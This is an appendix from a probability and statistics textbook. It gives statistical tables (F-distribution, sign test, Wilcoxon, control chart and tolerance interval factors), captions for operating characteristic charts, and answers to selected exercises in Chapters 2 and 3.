4	21.20	18.00	16.69	15.98	15.52	15.21	14.98	14.80	14.66	14.55	14.37	14.20	14.02	13.93	13.84	13.75	13.65	13.56	13.46
5	16.26	13.27	12.06	11.39	10.97	10.67	10.46	10.29	10.16	10.05	9.89	9.72	9.55	9.47	9.38	9.29	9.20	9.11	9.02
6	13.75	10.92	9.78	9.15	8.75	8.47	8.26	8.10	7.98	7.87	7.72	7.56	7.40	7.31	7.23	7.14	7.06	6.97	6.88
7	12.25	9.55	8.45	7.85	7.46	7.19	6.99	6.84	6.72	6.62	6.47	6.31	6.16	6.07	5.99	5.91	5.82	5.74	5.65
8	11.26	8.65	7.59	7.01	6.63	6.37	6.18	6.03	5.91	5.81	5.67	5.52	5.36	5.28	5.20	5.12	5.03	4.95	4.46
9	10.56	8.02	6.99	6.42	6.06	5.80	5.61	5.47	5.35	5.26	5.11	4.96	4.81	4.73	4.65	4.57	4.48	4.40	4.31
10	10.04	7.56	6.55	5.99	5.64	5.39	5.20	5.06	4.94	4.85	4.71	4.56	4.41	4.33	4.25	4.17	4.08	4.00	3.91
11	9.65	7.21	6.22	5.67	5.32	5.07	4.89	4.74	4.63	4.54	4.40	4.25	4.10	4.02	3.94	3.86	3.78	3.69	3.60
12	9.33	6.93	5.95	5.41	5.06	4.82	4.64	4.50	4.39	4.30	4.16	4.01	3.86	3.78	3.70	3.62	3.54	3.45	3.36
13	9.07	6.70	5.74	5.21	4.86	4.62	4.44	4.30	4.19	4.10	3.96	3.82	3.66	3.59	3.51	3.43	3.34	3.25	3.17
14	8.86	6.51	5.56	5.04	4.69	4.46	4.28	4.14	4.03	3.94	3.80	3.66	3.51	3.43	3.35	3.27	3.18	3.09	3.00
15	8.68	6.36	5.42	4.89	4.36	4.32	4.14	4.00	3.89	3.80	3.67	3.52	3.37	3.29	3.21	3.13	3.05	2.96	2.87
16	8.53	6.23	5.29	4.77	4.44	4.20	4.03	3.89	3.78	3.69	3.55	3.41	3.26	3.18	3.10	3.02	2.93	2.84	2.75
17	8.40	6.11	5.18	4.67	4.34	4.10	3.93	3.79	3.68	3.59	3.46	3.31	3.16	3.08	3.00	2.92	2.83	2.75	2.65
18	8.29	6.01	5.09	4.58	4.25	4.01	3.84	3.71	3.60	3.51	3.37	3.23	3.08	3.00	2.92	2.84	2.75	2.66	2.57
19	8.18	5.93	5.01	4.50	4.17	3.94	3.77	3.63	3.52	3.43	3.30	3.15	3.00	2.92	2.84	2.76	2.67	2.58	2.59
20	8.10	5.85	4.94	4.43	4.10	3.87	3.70	3.56	3.46	3.37	3.23	3.09	2.94	2.86	2.78	2.69	2.61	2.52	2.42
21	8.02	5.78	4.87	4.37	4.04	3.81	3.64	3.51	3.40	3.31	3.17	3.03	2.88	2.80	2.72	2.64	2.55	2.46	2.36
22	7.95	5.72	4.82	4.31	3.99	3.76	3.59	3.45	3.35	3.26	3.12	2.98	2.83	2.75	2.67	2.58	2.50	2.40	2.31
23	7.88	5.66	4.76	4.26	3.94	3.71	3.54	3.41	3.30	3.21	3.07	2.93	2.78	2.70	2.62	2.54	2.45	2.35	2.26
24	7.82	5.61	4.72	4.22	3.90	3.67	3.50	3.36	3.26	3.17	3.03	2.89	2.74	2.66	2.58	2.49	2.40	2.31	2.21
25	7.77	5.57	4.68	4.18	3.85	3.63	3.46	3.32	3.22	3.13	2.99	2.85	2.70	2.62	2.54	2.45	2.36	2.27	2.17
26	7.72	5.53	4.64	4.14	3.82	3.59	3.42	3.29	3.18	3.09	2.96	2.81	2.66	2.58	2.50	2.42	2.33	2.23	2.13
27	7.68	5.49	4.60	4.11	3.78	3.56	3.39	3.26	3.15	3.06	2.93	2.78	2.63	2.55	2.47	2.38	2.29	2.20	2.10
28	7.64	5.45	4.57	4.07	3.75	3.53	3.36	3.23	3.12	3.03	2.90	2.75	2.60	2.52	2.44	2.35	2.26	2.17	2.06
29	7.60	5.42	4.54	4.04	3.73	3.50	3.33	3.20	3.09	3.00	2.87	2.73	2.57	2.49	2.41	2.33	2.23	2.14	2.03
30	7.56	5.39	4.51	4.02	3.70	3.47	3.30	3.17	3.07	2.98	2.84	2.70	2.55	2.47	2.39	2.30	2.21	2.11	2.01
40	7.31	5.18	4.31	3.83	3.51	3.29	3.12	2.99	2.89	2.80	2.66	2.52	2.37	2.29	2.20	2.11	2.02	1.92	1.80
60	7.08	4.98	4.13	3.65	3.34	3.12	2.95	2.82	2.72	2.63	2.50	2.35	2.20	2.12	2.03	1.94	1.84	1.73	1.60
120	6.85	4.79	3.95	3.48	3.17	2.96	2.79	2.66	2.56	2.47	2.34	2.19	2.03	1.95	1.86	1.76	1.66	1.53	1.38
∞	6.63	4.61	3.78	3.32	3.02	2.80	2.64	2.51	2.41	2.32	2.18	2.04	1.88	1.79	1.70	1.59	1.47	1.32	1.00

Degrees of freedom for the denominator (ν_2)

Chart VII Operating Characteristic Curves

(*a*) O.C. curves for different values of *n* for the two-sided normal test for a level of significance $\alpha = 0.05$.

(*b*) O.C. curves for different values of *n* for the two-sided normal test for a level of significance $\alpha = 0.01$.

Source: Charts VI*a, e, f, k, m,* and *q* are reproduced with permission from "Operating Characteristics for the Common Statistical Tests of Significance," by C. L. Ferris, F. E. Grubbs, and C. L. Weaver, *Annals of Mathematical Statistics,* June 1946.
Charts VI*b, c, d, g, h, i, j, l, n, o, p,* and *r* are reproduced with permission from *Engineering Statistics,* 2nd Edition, by A. H. Bowker and G. J. Lieberman, Prentice-Hall, 1972.

Chart VII Operating Characteristic Curves (*continued*)

(*c*) O.C. curves for different values of *n* for the one-sided normal test for a level of significance $\alpha = 0.05$.

(*d*) O.C. curves for different values of *n* for the one-sided normal test for a level of significance $\alpha = 0.01$.

Chart VII Operating Characteristic Curves (*continued*)

(*e*) O.C. curves for different values of *n* for the two-sided *t*-test for a level of significance $\alpha = 0.05$.

(*f*) O.C. curves for different values of *n* for the two-sided *t*-test for a level of significance $\alpha = 0.01$.

Chart VII Operating Characteristic Curves (*continued*)

(*g*) O.C. curves for different values of n for the one-sided t-test for a level of significance $\alpha = 0.05$.

(*h*) O.C. curves for different values of n for the one-sided t-test for a level of significance $\alpha = 0.01$.

Chart VII Operating Characteristic Curves (*continued*)

(*i*) O.C. curves for different values of *n* for the two-sided chi-square test for a level of significance $\alpha = 0.05$.

(*j*) O.C. curves for different values of *n* for the two-sided chi-square test for a level of significance $\alpha = 0.01$.

Chart VII Operating Characteristic Curves (*continued*)

(*k*) O.C. curves for different values of *n* for the one-sided (upper-tail) chi-square test for a level of significance $\alpha = 0.05$.

(*l*) O.C. curves for different values of *n* for the one-sided (upper-tail) chi-square test for a level of significance $\alpha = 0.01$.

Chart VII Operating Characteristic Curves (*continued*)

(*m*) O.C. curves for different values of *n* for the one-sided (lower-tail) chi-square test for a level of significance $\alpha = 0.05$.

(*n*) O.C. curves for different values of *n* for the one-sided (lower-tail) chi-square test for a level of significance $\alpha = 0.01$.

Chart VII Operating Characteristic Curves (*continued*)

(*o*) O.C. curves for different values of *n* for the two-sided *F*-test for a level of significance $\alpha = 0.05$.

(*p*) O.C. curves for different values of *n* for the two-sided *F*-test for a level of significance $\alpha = 0.01$.

Chart VII Operating Characteristic Curves (*continued*)

(*q*) O.C. curves for different values of *n* for the one-sided *F*-test for a level of significance $\alpha = 0.05$.

(*r*) O.C. curves for different values of *n* for the one-sided *F*-test for a level of significance $\alpha = 0.01$.

Table VIII Critical Values for the Sign Test

r^*_α

n \ α	0.10	0.05	0.01	Two-sided tests
	0.05	0.025	0.005	One-sided tests
5	0			
6	0	0		
7	0	0		
8	1	0	0	
9	1	1	0	
10	1	1	0	
11	2	1	0	
12	2	2	1	
13	3	2	1	
14	3	2	1	
15	3	3	2	
16	4	3	2	
17	4	4	2	
18	5	4	3	
19	5	4	3	
20	5	5	3	
21	6	5	4	
22	6	5	4	
23	7	6	4	
24	7	6	5	
25	7	7	5	
26	8	7	6	
27	8	7	6	
28	9	8	6	
29	9	8	7	
30	10	9	7	
31	10	9	7	
32	10	9	8	
33	11	10	8	
34	11	10	9	
35	12	11	9	
36	12	11	9	
37	13	12	10	
38	13	12	10	
39	13	12	11	
40	14	13	11	

Table IX Critical Values for the Wilcoxon Signed-Rank Test

w^*_α

n^* \ α	0.10	0.05	0.02	0.01	Two-sided tests
	0.05	0.025	0.01	0.005	One-sided tests
4					
5	0				
6	2	0			
7	3	2	0		
8	5	3	1	0	
9	8	5	3	1	
10	10	8	5	3	
11	13	10	7	5	
12	17	13	9	7	
13	21	17	12	9	
14	25	21	15	12	
15	30	25	19	15	
16	35	29	23	19	
17	41	34	27	23	
18	47	40	32	27	
19	53	46	37	32	
20	60	52	43	37	
21	67	58	49	42	
22	75	65	55	48	
23	83	73	62	54	
24	91	81	69	61	
25	100	89	76	68	

* If $n > 25$, W^- (or W^-) is approximately normally distributed with mean $n(n+1)/4$ and variance $n(n+1)(2n+1)/24$.

Table X Critical Values for the Wilcoxon Rank-Sum Test

$w_{0.05}$

n_2 \ n_1*	4	5	6	7	8	9	10	11	12	13	14	15
4	10											
5	11	17										
6	12	18	26									
7	13	20	27	36								
8	14	21	29	38	49							
9	15	22	31	40	51	63						
10	15	23	32	42	53	65	78					
11	16	24	34	44	55	68	81	96				
12	17	26	35	46	58	71	85	99	115			
13	18	27	37	48	60	73	88	103	119	137		
14	19	28	38	50	63	76	91	106	123	141	160	
15	20	29	40	52	65	79	94	110	127	145	164	185
16	21	31	42	54	67	82	97	114	131	150	169	
17	21	32	43	56	70	84	100	117	135	154		
18	22	33	45	58	72	87	103	121	139			
19	23	34	46	60	74	90	107	124				
20	24	35	48	62	77	93	110					
21	25	37	50	64	79	95						
22	26	38	51	66	82							
23	27	39	53	68								
24	28	40	55									
25	28	42										
26	29											
27												
28												

*For n_1 and $n_2 > 8$, W_1 is approximately normally distributed with mean $\frac{1}{2}n_1(n_1 + n_2 + 1)$ and variance $n_1n_2(n_1 + n_2 + 1)/12$.

Table X Critical Values for the Wilcoxon Rank-Sum Test (*continued*)

$w_{0.01}$

n_2 \ n_1	4	5	6	7	8	9	10	11	12	13	14	15
5		15										
6	10	16	23									
7	10	17	24	32								
8	11	17	25	34	43							
9	11	18	26	35	45	56						
10	12	19	27	37	47	58	71					
11	12	20	28	38	49	61	74	87				
12	13	21	30	40	51	63	76	90	106			
13	14	22	31	41	53	65	79	93	109	125		
14	14	22	32	43	54	67	81	96	112	129	147	
15	15	23	33	44	56	70	84	99	115	133	151	171
16	15	24	34	46	58	72	86	102	119	137	155	
17	16	25	36	47	60	74	89	105	122	140		
18	16	26	37	49	62	76	92	108	125			
19	17	27	38	50	64	78	94	111				
20	18	28	39	52	66	81	97					
21	18	29	40	53	68	83						
22	19	29	42	55	70							
23	19	30	43	57								
24	20	31	44									
25	20	32										
26	21											
27												
28												

Table XI Factors for Constructing Variables Control Charts

	Factor for Control Limits						
	$\overline{X}$ Chart			R Chart		S Chart	
n*	A_1	A_2	d_2	D_3	D_4	c_4	n
2	3.760	1.880	1.128	0	3.267	0.7979	2
3	2.394	1.023	1.693	0	2.575	0.8862	3
4	1.880	.729	2.059	0	2.282	0.9213	4
5	1.596	.577	2.326	0	2.115	0.9400	5
6	1.410	.483	2.534	0	2.004	0.9515	6
7	1.277	.419	2.704	.076	1.924	0.9594	7
8	1.175	.373	2.847	.136	1.864	0.9650	8
9	1.094	.337	2.970	.184	1.816	0.9693	9
10	1.028	.308	3.078	.223	1.777	0.9727	10
11	.973	.285	3.173	.256	1.744	0.9754	11
12	.925	.266	3.258	.284	1.716	0.9776	12
13	.884	.249	3.336	.308	1.692	0.9794	13
14	.848	.235	3.407	.329	1.671	0.9810	14
15	.816	.223	3.472	.348	1.652	0.9823	15
16	.788	.212	3.532	.364	1.636	0.9835	16
17	.762	.203	3.588	.379	1.621	0.9845	17
18	.738	.194	3.640	.392	1.608	0.9854	18
19	.717	.187	3.689	.404	1.596	0.9862	19
20	.697	.180	3.735	.414	1.586	0.9869	20
21	.679	.173	3.778	.425	1.575	0.9876	21
22	.662	.167	3.819	.434	1.566	0.9882	22
23	.647	.162	3.858	.443	1.557	0.9887	23
24	.632	.157	3.895	.452	1.548	0.9892	24
25	.619	.153	3.931	.459	1.541	0.9896	25

*$n > 25$: $A_1 = 3/\sqrt{n}$ where $n =$ number of observations in sample.

Table XII Factors for Tolerance Intervals

Values of *k* for Two-Sided Intervals									
	Confidence Level								
	0.90			0.95			0.99		
Sample	Probability of Coverage								
Size	0.90	0.95	0.99	0.90	0.95	0.99	0.90	0.95	0.99
2	15.978	18.800	24.167	32.019	37.674	48.430	160.193	188.491	242.300
3	5.847	6.919	8.974	8.380	9.916	12.861	18.930	22.401	29.055
4	4.166	4.943	6.440	5.369	6.370	8.299	9.398	11.150	14.527
5	3.949	4.152	5.423	4.275	5.079	6.634	6.612	7.855	10.260
6	3.131	3.723	4.870	3.712	4.414	5.775	5.337	6.345	8.301
7	2.902	3.452	4.521	3.369	4.007	5.248	4.613	5.488	7.187
8	2.743	3.264	4.278	3.136	3.732	4.891	4.147	4.936	6.468
9	2.626	3.125	4.098	2.967	3.532	4.631	3.822	4.550	5.966
10	2.535	3.018	3.959	2.839	3.379	4.433	3.582	4.265	5.594
11	2.463	2.933	3.849	2.737	3.259	4.277	3.397	4.045	5.308
12	2.404	2.863	3.758	2.655	3.162	4.150	3.250	3.870	5.079
13	2.355	2.805	3.682	2.587	3.081	4.044	3.130	3.727	4.893
14	2.314	2.756	3.618	2.529	3.012	3.955	3.029	3.608	4.737
15	2.278	2.713	3.562	2.480	2.954	3.878	2.945	3.507	4.605
16	2.246	2.676	3.514	2.437	2.903	3.812	2.872	3.421	4.492
17	2.219	2.643	3.471	2.400	2.858	3.754	2.808	3.345	4.393
18	2.194	2.614	3.433	2.366	2.819	3.702	2.753	3.279	4.307
19	2.172	2.588	3.399	2.337	2.784	3.656	2.703	3.221	4.230
20	2.152	2.564	3.368	2.310	2.752	3.615	2.659	3.168	4.161
21	2.135	2.543	3.340	2.286	2.723	3.577	2.620	3.121	4.100
22	2.118	2.524	3.315	2.264	2.697	3.543	2.584	3.078	4.044
23	2.103	2.506	3.292	2.244	2.673	3.512	2.551	3.040	3.993
24	2.089	2.489	3.270	2.225	2.651	3.483	2.522	3.004	3.947
25	2.077	2.474	3.251	2.208	2.631	3.457	2.494	2.972	3.904
30	2.025	2.413	3.170	2.140	2.529	3.350	2.385	2.841	3.733
40	1.959	2.334	3.066	2.052	2.445	3.213	2.247	2.677	3.518
50	1.916	2.284	3.001	1.996	2.379	3.126	2.162	2.576	3.385
60	1.887	2.248	2.955	1.958	2.333	3.066	2.103	2.506	3.293
70	1.865	2.222	2.920	1.929	2.299	3.021	2.060	2.454	3.225
80	1.848	2.202	2.894	1.907	2.272	2.986	2.026	2.414	3.173
90	1.834	2.185	2.872	1.889	2.251	2.958	1.999	2.382	3.130
100	1.822	2.172	2.854	1.874	2.233	2.934	1.977	2.355	3.096

Table XII Factors for Tolerance Intervals (*continued*)

Values of *k* for One-Sided Intervals									
	Confidence Level								
	0.90			0.95			0.99		
Sample	Probability of Coverage								
Size	0.90	0.95	0.99	0.90	0.95	0.99	0.90	0.95	0.99
2	10.253	13.090	18.500	20.581	26.260	37.094	103.029	131.426	185.617
3	4.258	5.311	7.340	6.155	7.656	10.553	13.995	17.370	23.896
4	3.188	3.957	5.438	4.162	5.144	7.042	7.380	9.083	12.387
5	2.742	3.400	4.666	3.407	4.203	5.741	5.362	6.578	8.939
6	2.494	3.092	4.243	3.006	3.708	5.062	4.411	5.406	7.335
7	2.333	2.894	3.972	2.755	3.399	4.642	3.859	4.728	6.412
8	2.219	2.754	3.783	2.582	3.187	4.354	3.497	4.285	5.812
9	2.133	2.650	3.641	2.454	3.031	4.143	3.240	3.972	5.389
10	2.066	2.568	3.532	2.355	2.911	3.981	3.048	3.738	5.074
11	2.011	2.503	3.443	2.275	2.815	3.852	2.898	3.556	4.829
12	1.966	2.448	3.371	2.210	2.736	3.747	2.777	3.410	4.633
13	1.928	2.402	3.309	2.155	2.671	3.659	2.677	3.290	4.472
14	1.895	2.363	3.257	2.109	2.614	3.585	2.593	3.189	4.337
15	1.867	2.329	3.212	2.068	2.566	3.520	2.521	3.102	4.222
16	1.842	2.299	3.172	2.033	2.524	3.464	2.459	3.028	4.123
17	1.819	2.272	3.137	2.002	2.486	3.414	2.405	2.963	4.037
18	1.800	2.249	3.105	1.974	2.453	3.370	2.357	2.905	3.960
19	1.782	2.227	3.077	1.949	2.423	3.331	2.314	2.854	3.892
20	1.765	2.028	3.052	1.926	2.396	3.295	2.276	2.808	3.832
21	1.750	2.190	3.028	1.905	2.371	3.263	2.241	2.766	3.777
22	1.737	2.174	3.007	1.886	2.349	3.233	2.209	2.729	3.727
23	1.724	2.159	2.987	1.869	2.328	3.206	2.180	2.694	3.681
24	1.712	2.145	2.969	1.853	2.309	3.181	2.154	2.662	3.640
25	1.702	2.132	2.952	1.838	2.292	3.158	2.129	2.633	3.601
30	1.657	2.080	2.884	1.777	2.220	3.064	2.030	2.515	3.447
40	1.598	2.010	2.793	1.697	2.125	2.941	1.902	2.364	3.249
50	1.559	1.965	2.735	1.646	2.065	2.862	1.821	2.269	3.125
60	1.532	1.933	2.694	1.609	2.022	2.807	1.764	2.202	3.038
70	1.511	1.909	2.662	1.581	1.990	2.765	1.722	2.153	2.974
80	1.495	1.890	2.638	1.559	1.964	2.733	1.688	2.114	2.924
90	1.481	1.874	2.618	1.542	1.944	2.706	1.661	2.082	2.883
100	1.470	1.861	2.601	1.527	1.927	2.684	1.639	2.056	2.850

Appendix B Answers to Selected Exercises

CHAPTER 2

Section 2-1

2-1. Let a, b denote a part above, below the specification, respectively
$S = \{aaa, aab, aba, abb, baa, bab, bba, bbb\}$

2-3. Let a denote an acceptable power supply
Let f, m, c denote a supply with a functional, minor, or cosmetic error, respectively.
$S = \{a, f, m, c\}$

2-5. Sequences of y or n of length 24 with 2^{24} outcomes

2-7. S is the sample space of 100 possible two digit integers.

2-9. $S = \{0, 1, 2, \ldots, 1E09\}$ in ppb

2-11. $S = \{1.0, 1.1, 1.2, \ldots, 14.0\}$

2-13. $S = \{0, 1, 2, \ldots,\}$ in milliseconds

2-17. c = connect, b = busy, $S = \{c, bc, bbc, bbbc, bbbbc, \ldots\}$

2-21. (a) S = nonnegative integers from 0 to the largest integer that can be displayed by the scale $S = \{0, 1, 2, 3, \ldots\}$
(b) S (c) $\{12, 13, 14, 15\}$
(d) $\{0, 1, 2, \ldots, 11\}$
(e) S
(f) $\{0, 1, 2, \ldots, 7\}$
(g) $\varnothing$
(h) $\varnothing$ (i) $\{8, 9, 10, \ldots\}$

2-23. Let d denoted a distorted bit and let o denote a bit that is not distorted.

(a) $S = \left\{\begin{matrix} dddd, dodd, oddd, oodd, \\ dddo, dodo, oddo, oodo, \\ ddod, dood, odod, oood, \\ ddoo, dooo, odoo, oooo \end{matrix}\right\}$

(b) No, for example $A_1 \cap A_2 = \{dddd, dddo, ddod, ddoo\}$

(c) $A_1 = \left\{\begin{matrix} dddd, dodd, \\ dddo, dodo, \\ ddod, dood, \\ ddoo, dooo \end{matrix}\right\}$

(d) $A_1' = \left\{\begin{matrix} oddd, oodd, \\ oddo, oodo, \\ odod, oood, \\ odoo, oooo \end{matrix}\right\}$

(e) $A_1 \cap A_2 \cap A_3 \cap A_4 = \{dddd\}$

(f) $(A_1 \cap A_2) \cup (A_3 \cap A_4) = \{dddd, dodd, dddo, oddd, ddod, oodd, ddoo\}$

2-25. Let P denote being positive and let N denote being negative. The sample space is $\{PPP, PPN, PNP, NPP, PNN, NPN, NNP, NNN\}$.
(a) $A = \{PPP\}$
(b) $B = \{NNN\}$
(c) $A \cap B = \varnothing$
(d) $A \cup B = \{PPP, NNN\}$

2-27. (a) $A' \cap B = 10$, $B' = 10$, $A \cup B = 92$

2-29. (a) $A' = \{x \mid x \geq 72.5\}$
(b) $B' = \{x \mid x \leq 52.5\}$
(c) $A \cap B = \{x \mid 52.5 < x < 72.5\}$
(d) $A \cup B = \{x \mid x > 0\}$

2-31. Let g denote a good board, m a board with minor defects, and j a board with major defects.
(a) $S = \{gg, gm, gj, mg, mm, mj, jg, jm, jj\}$
(b) $S = \{gg, gm, gj, mg, mm, mj, jg, jm\}$

2-35. 120
2-37. 144
2-39. 14,400
2-41. (a) 416,965,528 (b) 113,588,800 (c) 130,721,752
2-43. (a) 21 (b) 2520 (c) 720
2-45. (a) 1000 (b) 160 (c) 720
2-47. (a) 0.416 (b) 0.712 (c) 0.206
2-49. 0.0082

Section 2-2

2-51. 900
2-53. (a) 673 (b) 1672 (c) 6915 (d) 8399 (b) 1578
2-55. (a) 0.4 (b) 0.8 (c) 0.6 (d) 1 (e) 0.2
2-57. (a) 1/10 (b) 5/10
2-59. (a) $S = \{1, 2, 3, 4, 5, 6, 7, 8\}$ (b) 2/8 (c) 6/8
2-61. (a) 0.83 (b) 0.85
2-63. $(1/10^3)*(1/26^3) = 5.7 \times 10^{-8}$
2-65. (a) $4 + 4 \times 3 + 4 \times 3 \times 3 = 52$ (b) 36/52 (c) No
2-67. (a) 0.30 (b) 0.77 (c) 0.70 (d) 0.22 (e) 0.85 (f) 0.92
2-71. 0.9889
2-73. (a) 0.0792 (b) 0.1969 (c) 0.8142 (d) 0.9889 (e) 0.1858

Section 2-3

2-75. (a) 0.9 (b) 0 (c) 0 (d) 0 (e) 0.1
2-77. (a) 0.70 (b) 0.95 (c) No
2-79. (a) 350/370 (b) 362/370 (c) 358/370 (d) 345/370
2-81. (a) 13/130 (b) 0.90, No
2-83. (a) 0.7255 (b) 0.8235 (c) 0.7255
2-85. (a) 0.2264 (b) 0.9680 (c) 0.9891

Section 2-4

2-87. (a) 86/100 (b) 79/100 (c) 70/79 (d) 70/86
2-89. (a) 0.903 (b) 0.591
2-91. (a) 12/100 (b) 12/28 (c) 34/122
2-93. (a) 0.5625 (b) 0.1918 (c) 0.3333
2-95. (a) 20/100 (b) 19/99 (c) 0.038 (d) 0.2
2-97. (a) 0.02 (b) 0.000458 (c) 0.9547
2-99. No
2-101. (a) 0.6087 (b) 0.3913 (c) 0.5 (d) 0.5
2-103. (a) 0.0987 (b) 0.0650

Section 2-5

2-105. (a) 0.2 (b) 0.3
2-107. 0.014
2-109. 0.028
2-111. (a) 0.2376 (b) 0.0078
2-113. (a) 0.2 (b) 0.2
2-117. (a) 0.0109 (b) 0.2264 (c) 0.9891 (d) 0.1945
2-119. (a) 0.0792 (b) 0.8142 (c) 0.9208 (d) 0.8031
2-121. 0.2

Section 2-6

2-123. independent
2-125. (a) *not* independent. (b) yes
2-127. (a) *not* independent. (b) 0.733
2-129. (a) 0.59 (b) 0.328 (c) 0.41
2-131. (a) 0.00307 (b) 0.04096
2-133. (a) 0.01 (b) 0.49 (c) 0.09
2-135. (a) 0.00003 (b) 0.00024 (c) 0.00107
2-137. 0.9702
2-139. *not* independent.
2-141. independent.

Section 2-7

2-143. 0.89
2-145. (a) 0.97638 (b) 0.20755
2-147. (a) 0.615 (b) 0.618 (c) 0.052
2-149. (a) 0.9847 (b) 0.1184
2-151. 0.2540
2-153. 0.5

Supplemental Exercises

2-155. 0.014
2-157. (a) 0.82 (b) 0.90 (c) 0.18 (d) 0.80 (e) 0.92 (f) 0.98
2-161. (a) 0.2 (b) 0.202 (c) 0.638 (d) 0.2
2-163. (a) 0.03 (b) 0.97 (c) 0.40 (d) 0.05 (e) 0.012 (f) 0.018 (g) 0.0605
2-165. (a) 0.18143 (b) 0.005976 (c) 0.86494
2-167. 0.000008
2-169. (a) 50 (b) 37 (c) 93
2-171. $S = \{A, A'D_1, A'D_2, A'D_3, A'D_4, A'D_5\}$
2-173. (a) 0.19 (b) 0.15 (c) 0.99 (d) 0.80 (e) 0.158
2-175. (a) No (b) No (c) 40/240 (d) 200/240 (e) 234/240 (f) 1
2-177. (a) 0.282 (b) 0.718
2-179. 0.996
2-181. (a) 0.0037 (b) 0.8108
2-183. (a) 0.0778 (b) 0.00108 (c) 0.947
2-185. (a) 0.9764 (b) 0.3159
2-187. (a) 0.207 (b) 0.625
2-189. (a) 0.453 (b) 0.262 (c) 0.881 (d) 0.547 (e) 0.783 (f) 0.687
2-191. 1.58×10^{-7}
2-193. (a) 0.67336 (b) 2.646×10^{-8} (c) 0.99973
2-195. (a) 36^7 (b) $70(26^6)$ (c) $100(26^5)$
2-197. (a) 0.994, 0.995 (b) 0.99, 0.985 (c) 0.998, 0.9975

Mind-Expanding Exercises

2-199. (a) $n = 3$ (b) $n = 3$
2-201. 0.306, 0.694

CHAPTER 3

Section 3-1

3-1. $\{0, 1, 2, \ldots, 1000\}$
3-3. $\{0, 1, 2, \ldots, 99999\}$
3-5. $\{1, 2, \ldots, 491\}$
3-7. $\{0, 1, 2, \ldots\}$
3-9. $\{0, 1, 2, \ldots, 15\}$
3-11. $\{0, 1, 2, \ldots, 10000\}$
3-13. $\{0, 1, 2, \ldots, 40000\}$

Section 3-2

3-15. (a) 1 (b) 7/8 (c) 3/4 (d) 1/2
3-17. (a) 9/25 (b) 4/25 (c) 12/25 (d) 1
3-19. $f(0) = 0.033$, $f(1) = 0.364$, $f(2) = 0.603$
3-21. $P(X = 0) = 0.008$, $P(X = 1) = 0.096$, $P(X = 2) = 0.384$, $P(X = 3) = 0.512$
3-23. $P(X = 50) = 0.5$, $P(X = 25) = 0.3$, $P(X = 10) = 0.2$

3-25. $P(X = 15) = 0.6$,
$P(X = 5) = 0.3$,
$P(X = -0.5) = 0.1$

3-27. $P(X = 0) = 0.00001$,
$P(X = 1) = 0.00167$,
$P(X = 2) = 0.07663$,
$P(X = 3) = 0.92169$

Section 3-3

3-29. X = waiting time (hours)

$$f(x) = \begin{cases} 0.038, x = 1 \\ 0.102, x = 2 \\ 0.172, x = 3 \\ 0.204, x = 4 \\ 0.174, x = 5 \\ 0.124, x = 6 \\ 0.080, x = 7 \\ 0.036, x = 8 \\ 0.028, x = 9 \\ 0.022, x = 10 \\ 0.020, x = 15 \end{cases}$$

3-31. X = Non-failed well depth
$P(X = 255) = (1515+1343)/7726 = 0.370$
$P(X = 218) = 26/7726 = 0.003$
$P(X = 317) = 3290/7726 = 0.426$
$P(X = 231) = 349/7726 = 0.045$
$P(X = 267) = (280+887)/7726 = 0.151$
$P(X = 217) = 36/7726 = 0.005$

3-33. (a) $7/8$ (b) 1 (c) $3/4$ (d) $3/8$

3-35. $$F(x) = \begin{Bmatrix} 0, & x < 0 \\ 0.008, & 0 \le x < 1 \\ 0.104, & 1 \le x < 2 \\ 0.488, & 2 \le x < 3 \\ 1, & 3 \le x \end{Bmatrix}$$
where $f_x(0) = 0.008$,
$f_x(1) = 0.096$,
$f_x(2) = 0.384$,
$f_x(3) = 0.512$

3-37. $$F(x) = \begin{Bmatrix} 0, & x < 10 \\ 0.2, & 10 \le x < 25 \\ 0.5, & 25 \le x < 50 \\ 1, & 50 \le x \end{Bmatrix}$$
where $P(X = 50 \text{ million}) = 0.5$,
$P(X = 25 \text{ million}) = 0.3$,
$P(X = 10 \text{ million}) = 0.2$

3-39. (a) 1 (b) 0.5 (c) 0.5 (d) 0.5

3-41. (a) 1 (b) 0.75 (c) 0.25 (d) 0.25 (e) 0 (f) 0

3-43. $$F(x) = \begin{Bmatrix} 0, & x < 266 \\ 0.24, & 266 \le x < 271 \\ 0.54, & 271 \le x < 274 \\ 1, & 274 \le x \end{Bmatrix}$$

3-45. $$F(x) = \begin{Bmatrix} 0, & x < 1.5 \\ 0.05, & 1.5 \le x < 3 \\ 0.30, & 3 \le x < 4.5 \\ 0.65, & 4.5 \le x < 5 \\ 0.85, & 5 \le x < 7 \\ 1 & 7 \le x \end{Bmatrix}$$

Section 3-4

3-47. $\mu = 2, \sigma^2 = 2$

3-49. $\mu = 0, \sigma^2 = 1.5$

3-51. $\mu = 2.8, \sigma^2 = 1.36$

3-53. $\mu = 1.57, \sigma^2 = 0.311$

3-55. 24

3-57. $\mu = 0.0004, \sigma^2 = 0.00039996$

3-59. (a) $\mu = 18.694$,
$\sigma^2 = 735.9644$,
$\sigma = 27.1287$
(b) $\mu = 37.172$,
$\sigma^2 = 2947.996$,
$\sigma = 54.2955$

3-61. $E(X) = 4.808$, $V(X) = 6.147$

3-63. $E(X) = 281.83$, $V(X) = 976.24$

Section 3-5

3-65. $\mu = 2, \sigma^2 = 0.667$

3-67. $\mu = 3.5, \sigma^2 = 1.25$

3-69. (a) $\mu = 687.5, \sigma^2 = 56.25$
(b) $\mu = 87.5, \sigma^2 = 56.25$

3-71. $E(X) = 4.5$, $E(Y) = 22.5$,
$\sigma_Y = 14.36$

3-73. $\mu = 7, \sigma = 1.414$

Section 3-6

3-77. (a) 0.9298 (b) 0 (c) 0.0112 (d) 0.0016

3-79. (a) 2.40×10^{-8}
(b) 0.9999
(c) 9.91×10^{-18}
(d) 1.138×10^{-4}

3-81. (a) 0 (b) 10

3-85. (a) 0.215 (b) 0.9999 (c) 4

3-87. (a) 0.410 (b) 0.218 (c) 0.37

3-89. (a) 1 (b) 0.999997
(c) $E(X) = 12.244$,
$V(X) = 2.179$

3-91. (a) Binomial, $p = 10^4/36^9$,
n = 1E09 (b) 0
(c) $E(X) = 4593.9$,
$V(X) = 4593.9$

3-93. (a) 0.9961 (b) 0.9886

3-95. (a) 0.142 (b) 0.322
(c) 0.963

3-97. (a) 0.009 (b) 0.382
(c) 0.972 (d) 3

Section 3-7

3-99. (a) 0.5 (b) 0.0625
(c) 0.0039 (d) 0.75 (e) 0.25

3-101. (a) 5 (b) 5

3-103. (a) 0.0064 (b) 0.9984
(c) 0.008

3-105. (a) 0.0167 (b) 0.9039
(c) 50

3-107. (a) 0.13 (b) 0.098
(c) $7.69 \approx 8$

